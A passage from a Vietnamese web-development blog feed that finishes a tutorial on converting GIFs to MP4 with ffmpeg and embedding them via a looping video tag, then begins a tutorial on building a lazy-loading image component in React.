focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng phương pháp CRF</h3> <p>Ngoài ra, ffmpeg còn hỗ trợ sử dụng một phương pháp mã hoá, được gọi là <a href="https://trac.ffmpeg.org/wiki/Encode/H.264#crf">Constant Rate Factor</a> (hay CRF). CRF giúp bạn dễ dàng điều chỉnh được chất lượng của video đầu ra. Câu lệnh là:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">ffmpeg -i input.gif -b:v <span class="token number">0</span> -crf <span class="token number">25</span> output.mp4</code></pre></div> <p>Lệnh này tương tự lệnh trên, chỉ khác ở chỗ:</p> <ul> <li><code>-b:v</code>: là cờ dùng để giới hạn bitrate của output. Vì mình đang sử dụng CRF, nên giá trị này phải đặt là 0</li> <li><code>-crf</code>: là cờ dùng để xác định hệ số của CRF. Giá trị này nằm trong khoảng từ 0 đến 51. Hệ số CRF càng thấp sẽ cho video chất lượng càng cao, nhưng càng nặng. Ngược lại, hệ số CRF càng cao sẽ cho video chất lượng càng thấp nhưng càng nhẹ.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 468px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 21.21212121212121%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAvklEQVQI1wXBSXLDIBAAQP3/cznklNhIBWKHGcQy4NigSvfGFH8w8ctkau/2d+c+jU9ceWVRGoA8HJTTRAe1ve7SZ30tLIMrn9vYkH8f+/Fk/Dz143mUNkJEIY2xQRufa8crOw/aOBcgV3rPu9KQ2tTWt8a/FN8FF6fgO2MppSuh1tp755wloloyInjvY4xEdK81P58YQ2u0kfkxUkiprLHqlDmXWkoIEREBYIxBjVK6ACBhIqI551qrlNx7/wc/Od38vS0NAAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Sử dụng CRF với các giá trị khác nhau sẽ cho ra chất lượng video khác nhau" title="Sử dụng CRF với các giá trị khác nhau sẽ cho ra chất lượng video khác nhau" src="/static/9683ec1d5a7d9297d6e4d92e3394623f/b4003/gif_to_mp4_crf.png" srcset="/static/9683ec1d5a7d9297d6e4d92e3394623f/103f2/gif_to_mp4_crf.png 165w, /static/9683ec1d5a7d9297d6e4d92e3394623f/748ba/gif_to_mp4_crf.png 330w, /static/9683ec1d5a7d9297d6e4d92e3394623f/b4003/gif_to_mp4_crf.png 468w" sizes="(max-width: 468px) 100vw, 468px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Với kết quả thử nghiệm trên, mình thấy rằng sử dụng hệ số CRF bằng 25 là hợp lý nhất. Vì dung lượng giảm đi đáng kể mà chất lượng hình ảnh gần như không đổi.</p> <p>Như vậy là mình đã chuyển ảnh động GIF thành video xong rồi. Tiếp theo, làm sao có thể sử dụng video tương tự như việc sử dụng ảnh động GIF?</p> <h2 id="sử-dụng-thẻ-video-thay-cho-thẻ-img" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-th%E1%BA%BB-video-thay-cho-th%E1%BA%BB-img" aria-label="sử dụng thẻ video thay cho thẻ img permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng thẻ <code>&#x3C;video></code> thay cho thẻ <code>&#x3C;img></code></h2> <p>Trước tiên, để sử dụng ảnh GIF, mình phải sử dụng thẻ <code>&#x3C;img></code> (giống các loại ảnh khác), như sau:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>input.gif<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span></code></pre></div> <p>Nhưng khi đã chuyển ảnh động GIF thành video thì mình phải chuyển sang sử dụng thẻ <code>&#x3C;video></code>. Cơ bản là như này:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>video</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>source</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>input.mp4<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>video/mp4<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>video</span><span class="token punctuation">></span></span></code></pre></div> <p>Tuy nhiên, nếu chỉ dừng lại như trên thì video sẽ không giống với ảnh động GIF. Vì ảnh động GIF có 3 đặc điểm quan trọng là:</p> <ul> <li>Tự động play</li> <li>Chạy liên tục (looping)</li> <li>Không có tiếng</li> </ul> <p>Vì vậy, đoạn code trên sửa thành:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>video</span> <span class="token attr-name">autoplay</span> <span class="token attr-name">loop</span> <span class="token attr-name">muted</span> <span class="token attr-name">playsinline</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>source</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>input.mp4<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>video/mp4<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>video</span><span class="token punctuation">></span></span></code></pre></div> <h2 id="ví-dụ-minh-hoạ" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-minh-ho%E1%BA%A1" aria-label="ví dụ minh hoạ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ minh hoạ</h2> <p>Để minh hoạ cho cách làm trên, mình có chuẩn bị một project mà bạn có thể tham khảo.</p> <a href="https://github.com/completejavascript/replace-gif-with-video" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <a href="http://about.phamvanlam.com/replace-gif-with-video/" class="btn btn-primary margin-bottom"> Xem Demo </a> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách mình chuyển ảnh động GIF thành video và sử dụng video tương tự như ảnh động GIF. Nếu có gì thắc mắc hoặc góp ý, bạn có thể để lại cho mình trong phần bình luận phía dưới. Mình sẽ cố gắng giải đáp.</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p> <p>★ Tham khảo</p> <ul> <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/replace-animated-gifs-with-video/">Replace Animated GIFs with Video</a></li> <li><a href="https://viblo.asia/p/co-nen-tiep-tuc-su-dung-gif-tren-website-nua-khong-WAyK8My9ZxX">Có nên tiếp tục sử dụng GIF trên website nữa không?</a></li> </ul>[email protected]<![CDATA[Triển khai Lazy Loading Image trong React]]><![CDATA[Đối với hầu hết các trang web thì ảnh là thứ không thể thiếu. Tuy nhiên, nếu ảnh có kích thước và dung lượng lớn, mà ta lại load ảnh theo cách thông thường thì sẽ dẫn đến ảnh load…]]>https://completejavascript.com/trien-khai-lazy-loading-image-trong-react/https://completejavascript.com/trien-khai-lazy-loading-image-trong-react/<![CDATA[Create-react-app]]><![CDATA[Performance]]>Thu, 27 Sep 2018 12:30:31 GMT<p>Đối với hầu hết các trang web thì ảnh là thứ không thể thiếu. Tuy nhiên, nếu ảnh có kích thước và dung lượng lớn, mà ta lại load ảnh theo cách thông thường thì sẽ dẫn đến ảnh load bị chậm, làm phá vỡ cấu trúc giao diện. Điều này làm giảm trải nghiệm của người dùng. Để khắc phục tình trạng này, người ta thường sẽ sử dụng phương pháp <em><strong>Lazy Loading Image</strong></em>. Vậy <em>Lazy Loading Image</em> là gì và cách triển khai Lazy Loading Image trong React như thế nào?</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="tư-tưởng-chính-của-phương-pháp-lazy-loading-image" style="position:relative;"><a href="#t%C6%B0-t%C6%B0%E1%BB%9Fng-ch%C3%ADnh-c%E1%BB%A7a-ph%C6%B0%C6%A1ng-ph%C3%A1p-lazy-loading-image" aria-label="tư tưởng chính của phương pháp lazy loading image permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tư tưởng chính của phương pháp Lazy Loading Image</h2> <p>Về cơ bản, phương pháp Lazy Loading Image gồm các bước sau:</p> <ul> <li><strong>Bước 1</strong>: Sử dụng ảnh đơn sắc, hoặc ảnh đã làm mờ đóng vai trò là <em>place holder</em> (giữ chỗ). Vì những ảnh này có kích thước rất nhỏ (cỡ 200 byte là đủ) nên sẽ được load rất nhanh. Do đó, giao diện chương trình sẽ không bị vỡ.</li> <li><strong>Bước 2</strong>: Kiểm tra các phần tử <a href="/co-ban-ve-dom-javascript/">DOM</a> liên quan đến hình ảnh xem nó có ở trên viewport (phạm vi màn hình) hay không. Nếu có thì sẽ load ảnh gốc một cách bất đồng bộ. Sau khi load ảnh xong thì mới set lại ảnh gốc đó cho phần tử DOM.</li> <li><strong>Bước 3</strong>:Trong quá trình <a href="/smooth-scrolling-trang-web-voi-jquery/">scroll màn hình</a>, thực hiện lại <strong>Bước 2</strong> cho đến khi tất cả các ảnh gốc được load hết thì thôi.</li> </ul> <p>Tư tưởng chính là vậy. Bây giờ, mình sẽ bắt đầu triển khai Lazy Loading Image trong React.</p> <p><div class="gatsby-resp-iframe-wrapper" style="padding-bottom: 56.515151515151516%; position: relative; height: 0; overflow: hidden; " > <div class="embedVideo-container"> <iframe title="" src="https://www.youtube.com/embed/zOn-8mazuJ8?rel=0" class="embedVideo-iframe" style="border:0; position: absolute; top: 0; left: 0; width: 100%; height: 100%; " loading="eager" allowfullscreen="" sandbox="allow-same-origin allow-scripts allow-popups"></iframe> </div> </div></p> <h2 id="triển-khai-lazy-loading-image-trong-react" style="position:relative;"><a href="#tri%E1%BB%83n-khai-lazy-loading-image-trong-react" aria-label="triển khai lazy loading image trong react permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai Lazy Loading Image trong React</h2> <h3 id="chuẩn-bị-ảnh-place-holder" style="position:relative;"><a href="#chu%E1%BA%A9n-b%E1%BB%8B-%E1%BA%A3nh-place-holder" aria-label="chuẩn bị ảnh place holder permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuẩn bị ảnh Place Holder</h3> <p>Bạn có thể sử dụng bất kì công cụ chỉnh sửa ảnh nào để tạo ảnh này. Còn mình thì sử dụng <a href="https://dummyimage.com/">Dynamic Dummy Image Generator</a> cho nhanh. Bạn có thể vào trang đó để xem cách sử dụng hoặc đơn giản sử dụng đường link này: <a href="https://dummyimage.com/674x384/fff/ffffff.png">https://dummyimage.com/674x384/fff/ffffff.png</a>. Ảnh tải về sẽ có dung lượng cỡ 1 KB.</p> <p>Tiếp theo, bạn có thể vào trang <a href="https://tinypng.com">tinypng.com</a> để giảm dung lượng ảnh lại. Ảnh sau optimize sẽ có dung lượng cỡ <strong>126 B</strong> thôi. Như vậy là đủ nhỏ rồi phải không bạn?</p> <a href="https://github.com/completejavascript/lazy-loading-image-demo" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <a href="https://about.phamvanlam.com/lazy-loading-image-demo/" class="btn btn-primary margin-bottom"> Xem Demo </a> <h3 id="code-toàn-bộ-component-lazy-loading-image" style="position:relative;"><a href="#code-to%C3%A0n-b%E1%BB%99-component-lazy-loading-image" aria-label="code toàn bộ component lazy loading image permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Code toàn bộ component Lazy Loading Image</h3> <div class="gatsby-code-title gatsby-remark-code-title">lazy-image.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./lazy-image.css"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">elementInViewport</span><span class="token punctuation">(</span><span class="token parameter">el</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> rect <span class="token operator">=</span> el<span class="token punctuation">.</span><span class="token function">getBoundingClientRect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> rect<span class="token punctuation">.</span>top <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>left <span class="token operator">>=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> rect<span class="token punctuation">.</span>top <span class="token operator">&lt;=</span> <span class="token punctuation">(</span>window<span class="token punctuation">.</span>innerHeight <span class="token operator">||</span> document<span class="token punctuation">.</span>documentElement<span class="token punctuation">.</span>clientHeight<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">LazyImage</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>props<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">loaded</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>handleScroll <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">handleScroll</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">componentDidMount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">handleScroll</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"scroll"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>handleScroll<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"scroll"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>handleScroll<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">handleScroll</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>loaded <span class="token operator">&amp;&amp;</span> <span class="token function">elementInViewport</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>imgElm<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Load real image</span> <span class="token keyword">const</span> imgLoader <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Image</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> imgLoader<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>src<span class="token punctuation">;</span> imgLoader<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> ratioWH <span class="token operator">=</span> imgLoader<span class="token punctuation">.</span>width <span class="token operator">/</span> imgLoader<span class="token punctuation">.</span>height<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>imgElm<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">src</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>src<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>keepRatio <span class="token operator">&amp;&amp;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>imgElm<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">height</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>width <span class="token operator">/</span> ratioWH<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>imgElm<span class="token punctuation">.</span>classList<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>effect<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setState</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">loaded</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> width <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>width <span class="token operator">||</span> <span class="token string">"100%"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> height <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>height <span class="token operator">||</span> <span class="token string">"100%"</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>placeHolder<span class="token punctuation">}</span></span> <span class="token attr-name">width</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>width<span class="token punctuation">}</span></span> <span class="token attr-name">height</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>height<span class="token punctuation">}</span></span> <span class="token attr-name">ref</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token parameter">imgElm</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>imgElm <span class="token operator">=</span> imgElm<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lazy-image<span class="token punctuation">"</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>alt<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">lazy-image.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lazy-image</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.1s ease-in-out<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.1s ease-in-out<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.1s ease-in-out<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lazy-image.opacity</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="giải-thích-cách-triển-khai-lazy-loading-image-trong-react" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch-c%C3%A1ch-tri%E1%BB%83n-khai-lazy-loading-image-trong-react" aria-label="giải thích cách triển khai lazy loading image trong react permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích cách triển khai Lazy Loading Image trong React</h3> <h4 id="hàm-khởi-tạo" style="position:relative;"><a href="#h%C3%A0m-kh%E1%BB%9Fi-t%E1%BA%A1o" aria-label="hàm khởi tạo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm khởi tạo</h4> <p>Khởi tạo biến state <em>loaded</em>. Biến này dùng để lưu trạng thái ảnh đã được load hay chưa. Ban đầu ảnh chưa được load nên giá trị này là <em>false</em>.</p> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">this</span><span class="token punctuation">.</span>state <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">loaded</span><span class="token 